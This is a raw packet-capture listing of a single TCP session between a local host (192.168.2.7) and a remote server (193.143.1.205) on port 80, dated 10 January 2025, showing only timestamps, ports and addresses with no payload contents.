Jan 10, 2025 14:04:06.981501102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.986330986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.987799883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.987827063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.987840891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.987852097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.987864017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.987873077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.987878084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.987891912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.987921000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.988025904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.988038063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.988049030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.988082886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.988094091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.988095045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.988106966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.988121033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.988127947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.988171101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:06.988245964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:06.996560097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.018982887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019030094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019110918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019125938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019138098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019149065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019160986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019167900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019191980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019200087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019212961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019224882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019233942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019260883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019423962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019437075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019448042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019458055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019469023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019473076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019494057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019498110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019519091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019541025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019622087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019664049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019690990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019702911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019715071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019752979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019785881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019818068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019874096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019886017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019897938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019913912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019918919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019937038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019948006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019953012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.019961119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.019982100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020088911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020123959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020220041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020230055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020241976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020252943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020260096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020263910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020276070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020287037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020287991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020299911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020312071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020335913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020529032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020539999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020550013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020560980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020570040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020576000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020581961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020591021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020598888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020611048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020617962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020623922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020643950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020658970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020682096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020853043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020864964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020904064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.020939112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020951033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020962954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020972013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.020982027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.021007061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.021126986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021136999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021147013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021157980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021174908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.021224022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.021264076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021275997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021286011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021303892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.021450996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021462917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021475077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021485090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021495104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021503925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.021506071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021517992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021528006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021528959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.021539927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021549940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021560907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021575928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.021589041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.021609068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.021981955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.021995068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022006035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022016048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022026062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022037029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022046089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022056103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022063017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.022063017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.022068024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022078037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022084951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.022090912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022100925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.022102118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022114038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022130966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022136927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.022149086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.022176027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.023192883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.026169062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.026210070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.026216984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.026226044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.026237965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.026251078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.026261091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.026273966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.026302099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.026326895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.026345015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.026355028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.026360989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.026367903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.026385069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.026397943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.026428938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.052684069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.057823896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.057864904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.057887077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.057898998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.057908058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.057914019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.057938099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.057965994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.057979107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.057991028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.058002949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.058005095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.058036089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.058069944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.058113098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.058120966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.058135033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.058168888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.058223963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.059433937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.074006081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074043989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074055910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074065924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074084997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.074107885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.074135065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074147940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074176073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.074223995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074237108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074261904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.074275017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074286938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074306965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074328899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.074352980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.074421883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074434042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074445009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074455023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074465990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.074474096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.074497938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.077653885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105082035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105127096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105138063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105139971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105156898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105170012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105171919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105228901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105232954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105242014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105278015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105401039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105412006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105422020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105432987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105443954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105448961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105458021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105483055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105505943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105510950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105520010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105532885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105541945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105566025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105587006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105683088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105709076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105719090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105742931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105776072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105804920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105815887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105823994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105853081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105885983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105897903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105907917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105927944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.105963945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105976105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.105987072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106004953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106033087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106194973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106205940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106216908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106230974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106254101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106254101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106266022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106276989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106278896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106288910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106307030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106324911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106410027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106421947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106432915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106443882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106456041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106463909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106467962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106498957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106550932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106569052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106580019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106590033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106602907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106605053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106614113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106621981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106626034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106650114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106786966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106798887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106811047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106826067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106837988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106849909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106851101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106861115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106895924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.106971025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106981993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.106992960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107006073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107031107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107084990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107096910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107106924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107117891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107141018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107162952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107248068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107259035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107270002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107280016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107286930 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107291937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107302904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107319117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107323885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107352018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107475042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107490063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107501030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107511997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107515097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107525110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107542992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107564926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107640982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107654095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107664108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107675076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107685089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107686996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107707024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107805967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107817888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107827902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107837915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107847929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 14:04:07.107867956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:04:07.107897997 CET	49699	80	192.168.2.7	193.143.1.205
